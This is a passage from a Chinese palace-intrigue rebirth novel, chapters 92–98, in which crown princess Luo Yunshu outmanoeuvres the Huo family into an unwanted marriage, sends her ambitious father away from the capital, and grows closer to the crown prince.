她现在已经领会到了学规矩的乐趣。 洛云舒笑着解释:“母后知道你在这儿学规矩,觉得我辛苦,所以特意赏我的。” “原来如此。不过……”说着,明曦公主凑近了一些,低声问道,“叫她母后,你真的叫得出口吗?” 她有点叫不出口。 皇后还没她大呢。 洛云舒笑着点了一下她的额头:“你啊。又忘了我说的,讲规矩,才能在规矩允许的范围内得到好处。就比如叫母后这件事,你若是不叫,就是对皇后不敬,说得更严重一点,那就是不孝。不孝的罪名有多严重就不必说了吧。反过来说,只是叫一声母后就能免了这么多麻烦,何乐而不为呢?” “还真是。”说着,明曦公主感慨,“为什么这个道理我之前就没想通?要真是这样,我以前挨的那些打算什么?” 曾经,她不服赵皇后的管教,没少被她下令杖打。 她都死扛着。 反正又不能打死她。 扛过去就是一片艳阳天。 后来,赵皇后放弃她,还真就不再打她了。 她扛过来了。 但是现在再想想,她挨的那些打算什么啊!啊? “算你扛揍。”洛云舒忍俊不禁。 “嫂嫂,你又欺负我。我要跟皇兄告状。” “行啊,你去告,看他站在谁这一边……” 洛云舒的话还没有说完,旁边就传来一个温润如玉的声音:“我自然是站在你这一边的。” 是裴行渊,他回来了。 当下,洛云舒闹了个大红脸。 原本只是和明曦公主闲聊几句,没成想,居然被正主儿听到了。 洛云舒脸颊微热,起身行礼:“殿下,您回来了。” “嗯。”裴行渊轻声应着,看向明曦公主,满脸都是笑意,“在这里住着,可还习惯?” “习惯啊。皇兄该不会是想赶我走吧。柔仪殿这么大,让我住在这儿不碍事吧?” 在裴行渊面前,明曦公主有了几分少女的娇俏。 裴行渊笑着看她:“自然不碍事。但凡是为兄所在的地方,必然有你一席之地。” “那好。今晚我睡你们中间。” 裴行渊瞪她一眼,嗔道:“都十五了,说什么呢?” 明曦公主笑着朝他吐了吐舌头,嘴里嘟囔道:“走喽,学规矩去喽!” 明曦公主一走,裴行渊回头看向洛云舒,见她脸颊微红,仿若天边的云霞,他向来沉寂的心,不由得动了动…… 第93章 云舒,你很特别 “云舒,你很特别。”裴行渊开口,目光温柔。 说完这句话,裴行渊自己都愣了一下。 他向来守礼,不曾对任何一个女子说过这样的话。 偏偏,就这么毫无预料地说了出来。 说完之后,裴行渊立刻补充:“我的意思是,你跟别人不一样。” “殿下,每个人都是独一无二的。” 不,不是这样的,你最特别。 裴行渊怕唐突了洛云舒,并没有把这句话说出来。 直到这一刻,他才后知后觉地意识到,自从结识洛云舒之后,他所做的每一件事都是以前绝对不会做的。 比如初见时,冒着风险,随意相信一个陌生女子的话。 再比如,他听信她的预测,去了祁县,即便在最初的时候饱受诟病却还是不曾退缩。 又到后来,有了让她做太子妃的冲动。 最后,他更是将这份冲动变成了现实。 他很早就做了太子,套在身为太子的壳子里,安安分分地活着。 后来母后去世,父皇逐渐对他有了猜忌,他如履薄冰,唯有更加小心,不能行差就错。 在他循规蹈矩、一成不变的生活里,洛云舒是唯一的变数。 而他,很在意这个变数。 换句话来说,这个变数的存在,让他很欢喜。 这一刻,裴行渊笑着,耳尖微微发红:“有什么想去的地方吗?我陪你出去走走。” 洛云舒笑着回应:“暂时还没有。如果有了,一定第一时间告诉殿下。” “好。”裴行渊一口应允。 他紧挨着洛云舒坐下,视线落在桌案上的首饰匣子上。 洛云舒立刻解释:“是母后赏的,谢我管教明曦。” “给你你就拿着。”裴行渊的视线扫过匣子里面的首饰,状似无意地问道,“你喜欢什么样式的首饰?” “金的。”说话的时候,洛云舒的眼睛亮亮的。 她喜欢金子。 很世俗,又很实际地喜欢着。 金色,让人内心安定。 “好,我知道了。”裴行渊笑着应了,又补充道,“洛大人五日后离京。他递了拜贴来,想带家眷来见你。” “这两日不得空。改日吧,改日若是有时间,我让人送信到洛府去。” 实则,最初的时候,洛守礼是先给她送的信儿,不过,她忙着品瓜宴和明曦公主的事,没理会。 大概是等不及,洛守礼又给裴行渊递了拜贴。 洛云舒暂时还没有想见他的意愿,不想搭理。 重活一世,她怎么舒心怎么来,违心的事情,一概不做。 她很快揭过此事,将品瓜宴上的事情细细地说给裴行渊听。 霍贵妃落败,她势必会报复。 她的报复或许是针对她,或许是针对裴行渊。 所以,她需要给裴行渊提个醒。 “霍贵妃的手插不到我这里来。在朝堂上,老三不是我的对手。因为之前赈灾的事情,他最近气势低迷,蹦跶不起来。” “那就好。我只怕会影响殿下。” “不会,你想做什么,只管放手去做。天塌下来,有孤顶着。” 洛云舒舒然一笑。 裴行渊的确是一个很好的合作对象,她喜欢这种与人并肩作战的感觉。 很充实。 大概是因为之前的经历,她太怕被人从背后捅刀子了。 幸好,裴行渊不是这样的人。 所以,与他合作,她很安心。 二人又聊了些别的什么,气氛很融洽。 聊得口干,洛云舒吩咐知意送了茶水进来。 知意很贴心,另外送了些山楂糕过来。 山楂糕依着洛云舒的喜好,上面铺了一层细碎的冰。 取一块放在嘴里,是细细密密的冰甜,夹杂着微微的酸,很爽口。 洛云舒很喜欢。 裴行渊坐在旁边喝茶,静静地看着她吃。 他从未发现,女子吃东西竟是如此的赏心悦目。 樱桃小口一张一合,唇瓣饱满,泛着光泽。 很美。 见状,裴行渊也很想尝尝山楂糕的味道。 他拿起银叉,叉了一块放进嘴里。 “殿下,怎么样?”洛云舒拿帕子擦擦嘴角,笑着问,满眼期待。 自己喜欢的食物,总期待别人也会喜欢。 就像是,多了一个知己的感觉。 裴行渊脸上的笑意愈发浓郁,他眼角弯起,潋滟的桃花眼里泛着春风的柔和:“酸甜可口,又带着微微的凉,这个季节吃这个,很惬意。” “殿下若是喜欢,以后我让人给你送。” “好。”裴行渊笑着回应。 他向来没什么口腹之欲,却在这一刻觉得,有点喜欢吃的食物,或许会很不错。 这一瞬,对于未来,他有了崭新的期待。 …… 眼下,明曦公主用不着洛云舒再费心,她一心扑在了让霍少远兑现赌约上。 她先放出风声,夸赞霍少远重诺。 等传言传得越来越广泛之后,在品瓜宴上,她故意亲近霍娇娇,与昭阳公主和霍贵妃作对,营造出看重霍家的假象。 洛云舒料想,之前三皇子去东南一带没有让霍少远随行,是已经对他有了疑心。 所以,第一步,她故意营造出霍少远重诺的传言。 三皇子失意,霍少远得意,只会让三皇子对霍少远的疑心更重。 在品瓜宴上,她又故意表现出对昭阳公主和霍贵妃的厌恶,自然让三皇子的疑心空前高涨。 在这样的情况下,三皇子怎么会眼睁睁看着霍少远迎娶高门之女呢? 于是,这最后一步,洛云舒让阮英杰故意把当日的赌约散布出去。 当时,霍少远说得很明白,若事实证明裴行渊做的是对的,那么,他就会迎娶孙玉瑶为妻。 这个赌约在这个时候放出来,加上之前关于霍少远重诺的传言,人们自然而然地会以为,霍少远会兑现诺言。 毕竟,名声已经摆在那里,怎好背约? 更何况,原先霍少远假死后回来,用的借口是孙玉瑶救了他。 迎娶出身低微的救命恩人,何尝不是另外一种佳话? 大概,霍少远怎么也不会想到,当初他随口所说的借口是一记回旋镖,如今风水轮流转,这回旋镖终于扎到了他自己身上。 安国公府之内,霍夫人气得摔了最心爱的雨后天晴色杯盏:“一个木匠之女也想进安国公府的门,做什么春秋大梦!” 第94章 难不成,她对你余情未了? “母亲放心,儿子绝不会迎娶孙玉瑶。” 得到霍少远的保证,霍夫人才觉得气顺了一些,沉着脸说道:“原先关于你重诺的传言出现之后,我就觉得不对劲儿。原来是在这儿等着呢,这个孙玉瑶,着实是不安分!” 霍少远脸色阴沉:“母亲,孙玉瑶心思简单,这样缜密的事情,她做不来。大概,是洛云舒在背后捣的鬼。” “她?”霍夫人的脸上显露出忌惮的神色,“她都已经是太子妃了,还算计你做什么?难不成,她对你余情未了?” “未必没有这种可能。年少时在意过的人,总会记忆深刻些。她只是嘴上不承认,心里还是在意我的。” 这话,霍夫人不大信:“洛云舒若是心里有你,怎会嫁给太子?” “母亲,她只是在跟我赌气罢了。” “不,没有女子会拿自己的终身大事赌气。更何况,如果她心里有你,又怎会设计让你娶孙玉瑶?她巴不得你孤老一生才好。” “不是这样的,母亲。”霍少远自信满满地反驳,“她是太子妃,日后再想见我会很难。可如果我娶了孙玉瑶,就同她有了关联。日后相见的机会会多一些。” 听完,霍夫人一脸震惊:“你思考问题的角度,为何会如此刁钻?” “母亲,事情本来就是这样的。她赌气嫁给太子,大概是后悔了,这才想着补救。从前我对孙玉瑶很在意,大概,她是想让我得偿所愿。痴心一片的女子,总想让自己的心上人过得开心。” 霍夫人的脸上流露出一言难尽的表情,她摇头,语气坚决:“随便你怎么想,但事实绝对不是你说的那个样子。总之,孙玉瑶不能进我安国公府的门。” 以孙玉瑶的出身,给霍少远做贱妾都不够格,更何况是做正妻。 这绝无可能! “母亲放心,儿子当然不会娶她。只是这件事若是想圆过去,还要筹谋一番。” 霍夫人这才放了心,幸好,儿子不糊涂。 然而,就在这个时候,安国公黑着脸进来了。 他坐下,胸口起伏很大,嘴里喘着粗气。 霍夫人有点担心:“老爷,您这是怎么了?” 安国公一拳砸在桌案上:“即刻准备聘礼,为少远迎娶孙玉瑶!” “什么!”霍夫人惊得站起身来,“老爷,您糊涂了不成?以远儿的身份,如何能娶孙玉瑶?她那是什么出身,一个卑贱的木匠之女啊!” “此事,是贵妃娘娘的意思。” “父亲,这怎么可能呢?姑姑又不糊涂,怎么会这样做?”霍少远插嘴。 安国公瞪了他一眼:“你问我,我问谁去!总之,这是宫里传出来的意思!你若是不愿意,就去问该问的人!” 这该问的人,自然是三皇子和霍贵妃。 霍少远和霍夫人对了一下眼神,二人即刻有了决断。 霍夫人立刻往宫里递帖子,求见霍贵妃。 而霍少远则直接纵马,去了三皇子府。 一见面,他就说出了自己的疑惑:“殿下,怎会让我娶孙玉瑶为妻?” 三皇子正在自己给自己对弈,听闻此言头都没抬:“这不是你自己立下的赌约吗?” “当时只是话赶话说到这里了。更何况,不过是私底下的赌约而已,根本就不需要兑现。” “可你已经有了重诺的名声,你是想自毁名声?” “殿下,名声毁了,日后还可以重塑。可若是娶了这样的妻子进府,才是大灾难。”霍少远耐心解释。 这时候,三皇子放下手里的棋子,抬头看了霍少远一眼:“名声毁了,还可以重塑?如今,世人都说本殿下贪财又草包,你若是有重塑名声的本事,先将本殿下的名声重塑了,可好?” “殿下!”霍少远心生惶恐,立刻跪了下去,“之前的事情只是时运不济而已,您是有大气运的人,虽然暂时落败,但以后如何,犹未可知。” “时运不济?怎么他裴行渊就走运得很?依本殿下看,他裴行渊是有贵人相助啊。” 说最后一句话的时候,三皇子尾音拉长,意味深长地看着霍少远。 霍少远低着头,浑然不觉:“殿下,您不要妄自菲薄。如今没有到最后关头,究竟鹿死谁手,还不好说。” “既然你这么想,那就好办了。如今本殿下的名声已经毁了,你的名声不能再毁。所以,你娶孙玉瑶。” “殿下,孙玉瑶一介木匠之女,如何能做国公府的少国公夫人?无论是眼界还是出身,她都不够格儿。” “你现在知道她不够格儿了,早干嘛去了?你以前不是跟她打得火热吗?现在才知道她不够格儿?” “殿下……”霍少远一时语结,“先前只是想着让她做妾,从未想过让她做正妻。” 纳妾,不就得纳个喜欢的吗? 他那时候就打算好了,娶洛云舒为妻执掌中馈,打理府中上下,支撑门面。 再纳孙玉瑶为爱妾,全了心中的情思,一举两得。 可谁知,后来的一切都变了。 洛云舒不再嫁他,而他也终于知道,孙玉瑶并非当初救他的人。 没了救命恩人的光环,孙玉瑶真是逊色。 “那刚好,现在你有机会让她做正妻了。”三皇子语气散漫,仿佛在说一件无关紧要的事。 “殿下,此事事关卑职的终身大事,不是小事。” “怎么,你的终身大事,本殿下管不得?还是说你霍少将军如今名声正好,如日中天,不用再听本殿下的吩咐?嗯?” 这话,说得极重。 霍少远心中一沉,将身子跪得更低,上半身几乎贴着地:“殿下,卑职对殿下忠心耿耿,苍天可鉴啊!” “既然如此,你就娶了孙玉瑶,证明你的忠心。若你听从本殿下的吩咐,连一个平民之女都愿意娶,方能证明你的忠诚。” 三皇子的语气轻飘飘的,仿佛在说晚上吃什么这么简单。 霍少远抬头,看到三皇子云淡风轻的表情,心如死灰。 这件事,大概是没有转圜的余地了。 他很快回了安国公府,将此事告知霍夫人。 听完,霍夫人连连摇头:“不对,这件事不对!远儿,你将当日立赌约的事情细细说来!” 霍少远事无巨细,将当日的情形一五一十地说了出来。 听完,霍夫人喜上眉梢:“有了!这一次,我要让洛云舒万劫不复!” 第95章 这口气,让本宫如何咽的下? 霍少远略有迟疑:“母亲,您想做什么?” “当时,你二人的赌约是,若太子归来之时荣耀加身,则是洛云舒赢。她赢,你娶孙玉瑶为妻。她输,就去陛下面前,解除她和太子的婚约。是这样吧?” “是这样没错。” “是就行。她与太子的婚事,是陛下赐婚。她却拿陛下的赐婚来做赌约。试想,这件事若是传入陛下耳中,他会怎么想?” 听完,霍少远心中警铃大作:“母亲,不可!与洛云舒定下这赌约的人是我,若这件事传入陛下耳中,我同样摆脱不了罪责!还会被人质疑觊觎未来的太子妃!” 听完,霍夫人脸色一暗。 的确,她太过欣喜,没有想到这一层。 “难道就任由事态这样发展不成?” “母亲,您给姑姑递帖子,有回音了吗?姑姑平日里最喜欢我,不会让我受这个委屈的。而且,姑姑是霍家人,一荣俱荣,一损俱损的道理,她最是懂得。” 霍夫人却觉得没那么乐观。 毕竟,让霍少远娶孙玉瑶的消息最先就是从宫里传出来的。 就算是和侄子再亲,终究是比不过儿子。 但这话,霍夫人没说。 她想给儿子留一个念想。 也想给自己留个念想。 万一,贵妃娘娘会改变主意呢? 翌日,宫里来人传信,请霍夫人进宫。 霍夫人早已准备妥当,得了信儿,立刻随来人进宫。 见到霍贵妃后,霍夫人行了大礼,礼数周全:“臣妇见过贵妃娘娘!” “免礼。”霍贵妃的声音轻飘飘的,听起来没什么力气。 霍夫人起身抬头,难掩惊愕。 往日里贵妃装扮华贵,美艳不可方物,可现在才短短几天的时间,贵妃的眼角竟是有了细纹,脸上也难掩疲态。 “嫂嫂,坐。”说着,霍贵妃歪倒在软榻上,一副有气无力的样子。 “娘娘,您、您这是怎的了?” 霍贵妃伸手揉了揉眼角:“还不是你那个干女儿干的好事?她胆大包天,竟敢在皇后面前编排本宫,害得本宫被那个稚子皇后责罚,连着学了好几日的规矩!本宫都已经是贵妃了,还要受这个屈辱,这口气,让本宫如何咽的下?” 霍夫人心中一震,急忙起身,再次行礼:“娘娘,当初认她做干女儿,只是权宜之计,想着堵住悠悠众口,并无其他意思。并且,我们私下里并无任何往来,关系也不亲厚。” 霍贵妃笑了笑,略显勉强:“嫂嫂,你这么紧张做什么?坐。” 霍夫人战战兢兢地坐下,要说的话怎么也开不了口。 她不提,霍贵妃也不提,只问道:“哥哥近来可好?” “老爷他一切都好。只是忧心远儿的婚事。”说着,霍夫人小心翼翼地看了霍贵妃一眼。 “远儿的婚事不是现成的吗?有什么好忧心的?” “人是没什么问题的,只是出身低了些。远儿若是娶一个这样的女人,得不到任何助力,以后怕是无法更好地辅佐三殿下。” 世家大族,历来都是通过联姻来巩固自身的实力。 世家之中,彼此通婚,关系错综复杂,犹如大树,根扎得越深,方能枝繁叶茂。 “现在对我儿最好的辅佐,就是娶平民之女孙玉瑶,暂时全了远儿重诺的名声。如今我儿的名声暂时不好,只能退而求其次,先保住远儿的名声。不然,这名声若是坏了,可就什么都坏了。” “娘娘!”霍夫人急了,“您三思啊,一个平民之女,能提供什么助力?她只会拖国公府的后腿,只会坏事。” “怎会?嫂嫂,你做当家主母多年,可以教她。只要你尽心,会把人教好的。” 一时之间,霍夫人叫苦不迭。 就算是要教,最起码也得是那块料吧。 那孙玉瑶她见过,就是一个粗鄙庸俗的木匠之女,这样的朽木,压根儿就没有教导成材的可能。 霍夫人把道理摆出来,细细地说给霍贵妃听。 霍贵妃却恼了,她两眼一瞪,满腹怨气:“嫂嫂这话说来说去,不就是想反驳本宫的决定吗?怎么,本宫和我儿如今竟是如此势弱,就连嫂嫂都不把我们母子放在眼里了?” 霍夫人心头震动,急忙否认:“娘娘,不是这样的!臣妇字字句句,都是在为娘娘考虑啊!” 霍贵妃冷哼:“为本宫考虑还是在为你自己的儿子考虑,你心里比谁都清楚!” “娘娘!”霍夫人上前一步,语气迫切,“臣妇是担心咱们都中了计!这赌约原本是私下里所定,如今却传扬开来。臣妇担心,此计正是洛云舒的计谋,好叫远儿娶一个平民之女,白白失去一份助力啊!” 听闻此言,霍贵妃皱了皱眉:“洛云舒有这个本事?” 见状,霍夫人只觉得有戏,忙把当初发生在阮府的事情原原本本地告诉了霍贵妃。 说完,霍夫人补上一句:“娘娘,洛云舒绝对不简单。您不可小瞧了她,不然会吃大亏。” 霍贵妃嗤笑一声,满是不屑:“区区一个户部侍郎之女,做太子妃也仅仅是因为太子中意。这样的人家,能教导出什么聪慧的姑娘?” “娘娘,洛云舒真的很邪门儿。原本臣妇还不觉得有什么,但自从远儿回京之后,所做的事情没有一样是顺利的,而且多多少少都和洛云舒有关。臣妇觉得,就是她捣的鬼。” “嫂嫂这话还真是越说越邪乎了。怎么,她洛云舒是神仙,还能未卜先知不成?” 见霍贵妃不愿意,霍夫人立刻改了话风:“娘娘,防人之心不可无。若此计真是洛云舒所出,咱们让远儿娶了那孙玉瑶,岂不是如了洛云舒的愿?” 霍贵妃皱了皱眉,陷入沉思。 片刻后,她微微一笑:“那就、让她先如愿。” “娘娘!” 霍贵妃抬手:“嫂嫂,回去准备准备,为远儿娶妻。” 顷刻间,霍夫人的一颗心沉到了谷底。 她的儿子,安国公之子,盛名在身、军功卓著的少将军,如今竟然要娶一个低贱的木匠之女! 这、这简直是奇耻大辱! 如此想着,霍夫人眼前一黑,就什么都不知道了…… 第96章 她到底是年轻了些 再次恢复意识的时候,霍夫人听到旁边有两个人在说话。 这两个声音很熟悉:一个是霍贵妃,另一个则是霍贵妃的贴身丫鬟,巧心。 “娘娘,其实国公夫人所言不无道理。从品瓜宴上的情形来看,太子妃的心性的确非寻常女子可比。” “没错。洛云舒的确有她这个年龄的女子所不曾有的智慧。不过,她到底是年轻了些。” 巧心似有迟疑:“那、太子妃的这个圈套,咱们真的要钻吗?” “钻。为何不钻?我儿怀疑霍少远以洛云舒为诱饵接近太子,未必没有这个可能。如果我儿的猜测是真的,那么,洛云舒是绝对不会让霍少远娶其他女人,尤其是孙玉瑶的。” “为何?”巧心的声音听起来很疑惑。 “巧心,你没有爱过人,自然不会懂得其中的道理。洛云舒若真的是为了霍少远而接近太子,那么,必定是因为爱霍少远爱到了极致。不曾爱到极致的女人,做不到这一步。可,爱到了极致的女人,是不会眼睁睁看着心上人有其他喜欢的女人的。” 换句话来说,霍少远成亲,可以是家族联姻。 但,绝对不可以是两情相悦。 而霍少远,之前曾对孙玉瑶明明白白地表露出喜欢的意思。 那么,站在洛云舒的立场,如果她和霍少远有关联,她绝对不会允许霍少远迎娶孙玉瑶。 “所以……”霍贵妃给出最终的结论,“如果霍少远娶了孙玉瑶,那就说明,他没有暗中接近太子。退一步讲,就算是他曾经有这个心思,本宫让他娶孙玉瑶,也断了他这条路,他再没有别的选择,只能乖乖辅佐我儿。同时,本宫也想借着这件事看看安国公府的人是否足够听本宫的话。这一点对于本宫和三殿下而言,都很重要。” 所以,让霍少远迎娶孙玉瑶,对于霍贵妃而言,是一石二鸟。 她要借着这件事,彻底排除霍少远暗中投靠太子的可能。 唯有排除这个可能,三殿下才会安心。 听到这些,做出这些分析,霍夫人的心彻底死了。 她并不知道霍贵妃关于这件事的考量竟是如此之深,所以这一次,她的儿子必须要娶孙玉瑶。 若是不娶,就会彻底失去贵妃的信任,进而葬送安国公府的未来。 箭在弦上,已是不得不发。 即便她心里再不甘愿,也没有别的选择。 …… 霍少远要迎娶孙玉瑶的消息,很快就传开了。 堂堂国公之子要迎娶平民之女为妻,这个消息足够让人惊掉下巴,几乎是一天的时间,这个消息就传遍了京城。 对于这件事,有人惊讶,有人存疑,有人欣喜若狂。 而洛云舒却很平静。 她步步为营,促成此事,如今事情做成,她反倒格外平静。 事情做成,最大的好处是让霍少远失去未来可能会有的助力,让他和孙玉瑶绑死。 孙玉瑶嫁进安国公府,对于她而言,会是一个地狱般的开始。 而安国公府,也会视孙玉瑶为耻辱。 所以,这桩婚事,足以让安国公府膈应死。 安国公府曾让她为霍少远殉节,这个仇她记下了。 如今,报了一点点。 当然,霍少远迎娶孙玉瑶,还有两个弊端。 一个是经此一事,三皇子不会再质疑霍少远的忠诚。 她先前刻意营造出对霍少远情根深种的假象,就是为了让三皇子对霍少远起疑。 但,霍少远成亲之后,这个计策就不管用了,只能弃掉。 不过,这也不算什么。 毕竟,假象营造的多了,很容易被看出来。 现在及时收手,也不错。 至少在前一阶段,她已经得到了她想要的。 至于第二个弊端,那就更不值一提了。 孙玉瑶有了这样的造化,最得意的人是孙氏。 她定会借着这件事,大肆传播。 甚至,她会因此留在京城。 然而,在洛云舒的计划里,是不许孙氏留在京城的。 洛云舒思量片刻,立刻让人去洛府传话。 她要见洛守礼和孙氏。 原本,洛守礼早早地就递了帖子进东宫,想拜见洛云舒,但,洛云舒一直没理会。 如今后天就要启程去肃州,洛守礼心急如焚。 这时候得到洛云舒的传召,他急不可耐,以最快的时间到了东宫。 东宫,柔仪殿花厅。 在此相见,洛守礼和孙氏是要给洛云舒行大礼的。 二人齐齐跪下:“微臣见过太子妃娘娘。” “臣妇见过太子妃娘娘。” 洛云舒受了他们的礼:“坐吧。” 之后,她把伺候的人都打发了出去,只留下知意和灵雀。 洛守礼起身,带着孙氏坐下。 下人打发了出去,这就是家人间的会面,不必再拘礼。 孙氏有点气不过:“云舒,你父亲早早地就给你递了帖子,你怎么今日才让我们来?” 她的话音刚落,就被洛守礼瞪了一眼:“你懂什么?娘娘要处理各方事物,忙得很。” 洛云舒面色平静:“母亲,你怕是忘了。我如今刚嫁过来,各方面的关系都需要维护。我那小姑子又是个难缠的,宫里又有一大堆的娘娘们要应付,你以为我的日子就过得简单?” 话说到这儿,孙氏面露喜色:“原来你是在担心这个啊。不过,以后你就不用担心了。玉瑶要嫁进安国公府做少夫人了!我原以为以她的身份,绝无可能嫁进去,没成想竟是如此走运。日后玉瑶就是国公夫人,你是太子妃,你二人彼此帮衬,才能走得更长远。” 孙氏是真的开心。 当初赐婚圣旨下到洛府的时候,孙氏都没有这么开心过。 看得出来,孙氏是真的关心孙玉瑶。 转瞬,孙氏又道:“原本你父亲要去肃州,我也打算跟着去。不过,眼下玉瑶要成亲了,她身边无人帮衬,我得留在京城为她打点。” 要知道,孙玉瑶的父亲是木匠,母亲是大字不识一个的农妇,指望她二人给孙玉瑶操持婚事,只怕会成为全京城的笑柄。 所以,孙氏不放心。 而且,她也想趁着为孙玉瑶操持婚事的机会昭告世人——她的侄女,要嫁进安国公府做少国公夫人了! 她的女儿是太子妃,侄女是少国公夫人,她都不敢相信,若是她出现在那些自诩身份高贵的世家夫人面前,会被如何吹捧。 她简直太期待了! 要知道,以往这些个世家夫人对她向来是不屑一顾的。 如今,还真是风水轮流转啊。 一时之间,孙氏有些飘飘然。 然而,洛云舒很快给了孙氏当头一棒…… 第97章 就此、了断 “不行。你不能留在京城。”洛云舒的语气不是很严厉,但,足够坚决。 孙氏瞬间就变了脸色:“为何?” 这个时候不让她留在京城,这跟杀了她有什么区别? 洛云舒并不和孙氏多说,只看向洛守礼:“父亲觉得呢?” 洛守礼有所迟疑。 见状,洛云舒就知道,洛守礼又在权衡利弊。 他不想得罪她这个太子妃,但是,他又想攀附安国公府。 未来这段时间,会是一个很好的攀附安国公府的机会。 这时候,洛云舒微微一笑:“父亲,人在很多时候,都是不能脚踏两只船的。不能既要又要。先前的教训,您还记得吧?” 听完,洛守礼的身体不可控地哆嗦了一下。 记得。 他怎么会不记得呢? 太子去祁县的时候,他觉得太子式微,暗中和三皇子身边的东方亮有了联系。 恰恰就是这件事,让他差点儿没了性命。 瞬间,洛守礼就清醒了。 既要又要是行不通的。 他不能重蹈覆辙,只能顾一头。 一边是自己的女儿,一边是妻子的侄女,还是很好选的。 洛守礼立刻对着孙氏冷了脸:“休要多言。你必须跟我一起去肃州。” “老爷!”孙氏急了,“玉瑶的婚事不能没人帮衬啊!” “她自己有亲爹亲娘!” “他们一直在老家,京城里迎来送往的事情,他们怎么会懂?稍有不慎,这是要闹笑话的!” 说到闹笑话,孙氏心有余悸。 因为她初到京城的时候,就闹了不少笑话,若不是洛云舒从中周旋,只怕京城到现在还流传着她那个时候闹出来的笑话! 她自己承受过的苦楚,绝不愿意让自己的亲人再承受一遍。 但,洛守礼态度坚决:“此事,没有商量的余地。” 孙氏还要辩驳,被洛守礼狠狠地瞪了一眼。 之后,洛守礼朝着洛云舒又拜了拜,姿态放得很低:“娘娘,明辉和宝珠是否能留在京城?” 洛云舒并未正面回答,只说道:“父亲,居安思危的道理,我想您是懂得的。女儿初为太子妃,各个方面的关系还未掌握牢固,您这个时候留在京城,会成为旁人攻击女儿的靶子,所以,太子殿下基于这个考量,才让您远去肃州,暂避锋芒。等过上个一年半载,时机成熟之后,自然会让您回来的。回来之后,就不会是现在这般光景了。” 这话,洛守礼听得心潮澎湃。 他是太子的岳父,日后是个什么分量,自不必说。 去肃州,不过是权宜之计。 见状,洛云舒又道:“父亲,此去肃州,望您戒骄戒躁,为官一任,造福一方百姓,不该做的事情,绝对不能做,也不能被人抓到把柄。您须得知道,您和旁人是不同的。” 洛守礼连连点头:“娘娘放心,微臣必定谨记于心,绝不会行差就错。” “我在东宫自顾不暇,怕是顾不上明辉和宝珠。” 洛守礼立刻表态:“无妨,微臣将他们一同带去肃州,好好管教,绝不让他们辱没了娘娘!” 听闻此言,孙氏不安道:“老爷,明辉要找新书院,宝珠也到了该说亲的年龄啊。” 来之前,她是想把这两件事托付给洛云舒的。 无论是找书院还是说亲事,这些事让洛云舒来办,都是最妥当的。 洛守礼也是同意了的。 然而,洛云舒这么三言两语,竟是让洛守礼改变了主意。 这时,洛守礼面露斥责:“你个无知妇人,你懂什么?明辉是学业考核不合格被退学的,在京城能找到什么好学院?至于宝珠,她那般刁蛮任性,刚好可以带去肃州,好好管教管教!” 孙氏所图,件件落空。 恰逢此时,东宫的管事过来汇报事务。 洛守礼识相地起身:“娘娘事忙,微臣便不打扰了。明日微臣便会携带家眷启程,远赴肃州。” “愿父亲一路顺风。”说完,洛云舒看向知意。 知意会意,取来黄金百两,交给洛守礼。 洛守礼推辞了一下:“娘娘,这使不得。” “父亲,此去肃州山高路远,有道是穷家富路,带上一些银钱终归是没错的。这是女儿的一片心意,还请父亲笑纳。” 洛守礼这才接了,屈身道谢。 洛云舒亦起身相送。 直到洛守礼和孙氏出了门,洛云舒还是站在那里,没动。 这一刻,她说不清楚自己内心的情绪。 她是故意让洛守礼去肃州的。 在裴行渊顺利登基之前,她不会让洛守礼回来。 洛守礼这个人趋炎附势,一心想着攀附高门,他留在京城,会给她添乱。 所以,他必须走。 等裴行渊成事之后,天高路远任她行,她也不会再和洛守礼相见。 所以,这一次,便是生离。 他们之间的父女情分、母女情分,早在上一世就消弭了。 可,她的心里却很闷,说不出是什么情绪。 洛守礼不会知道,她给出的百两黄金,是对父女一场、母女一场的最后告别。 他们生了她,却又不顾她的性命,她给出这百两黄金,是割舍,也是了断。 他们之间,如此而已。 重新回到柔仪殿,洛云舒把所有人都遣了出去,拿了一本书在手里。 直到旁边传来倒茶的声音,洛云舒才后知后觉地发现,她这页书,从未翻动过。 她把书放在一边,端起那杯刚倒好的茶,放在唇边。 是上好的红茶,底蕴醇厚,回味悠远。 “几时换了红茶?”洛云舒随口问。 绿茶清爽,她这里一直用的也是绿茶。 “你若喜欢,我再让人送。” 是裴行渊。 洛云舒急忙起身,声音有些局促:“殿下,我不知道是你。” 她以为,来奉茶的是知意。 裴行渊笑笑,声音轻缓:“坐吧。你打理事务辛苦,我为你奉茶,也是理所应当。” 说完,他也坐下。 洛云舒调整了一下心态,问道:“殿下此来,是有事吩咐我做?” “是有这么一件。” “殿下请讲。”洛云舒正襟危坐。 她和裴行渊合作,自然要尽心尽力。 但凡是他吩咐的,她必定要把事情办成。 然而,她却看见裴行渊皱了皱眉。 第98章 有殿下在,不怕 洛云舒主动问:“殿下,是很难办的事吗?” “事情不难办,但需要你亲自出去办。” “好,我现在就可以走。”洛云舒立刻起身表态。 “不急。你且先收拾一下,今晚大概不会回来。半个时辰后,我在门口等你。” 洛云舒讶异:“殿下也去?” “是,你我同行。” 洛云舒有点意外,但,裴行渊没有多说,她也就没有问,只吩咐人收拾东西。 在门口汇合之后,二人同坐一辆马车,出了东宫。 马车通往城外。 洛云舒发现之后,很是疑惑。 无论是前世的记忆还是她这段时间得到的消息,都没发现城外发生了什么事情。 这个时候,能有什么事情是值得裴行渊亲自跑一趟的,而且,还带上了她? 似乎看出洛云舒的疑惑,裴行渊轻声一笑:“云舒,人要懂得适当放松。” “放松?”洛云舒很是意外。 裴行渊自嘲一笑:“像我这样的人,说是随时命悬一线也不为过。所以,精神不可太过紧绷,要懂得适当放松。云舒,你也需要放松。做大事固然重要,但与此同时,也要最大程度地保留生活的快乐。” 生活的快乐。 洛云舒品味着这五个字,心里莫名地放松。 他们的目的地是云梦山山脚下的一处别院。 这里历来是避暑的绝佳之地。 能在这个地方拥有别院的,非富即贵。 而裴行渊的别院,无疑是位置最好的。 这里卧房的墙壁内层镶嵌了一层铜板,铜板与墙壁的夹层之中放置了冰块,一进去,就比外面凉爽许多。 盛夏时节,有这样一个去处,很是惬意。 洛云舒很喜欢。 凉爽适宜,精神放松,洛云舒睡了一个很好的午觉。 午睡醒来时,太阳已经西斜。 夕阳的光照进来,倾泻出一地金黄。 一地金黄中,树影婆娑,随风而动。 这景致很美。 洛云舒醒来,但是并不起床,就看着这一地的树影,唇角带笑。 她喜欢这一刻的感觉,惬意,舒服。 以后这样的日子,她还会拥有很多。 等她真正获得自由,天天都是这样的好日子。 这日子,真是越来越有奔头儿了。 这时候,洛云舒听到外面传来裴行渊的声音。 是在问她是否起床。 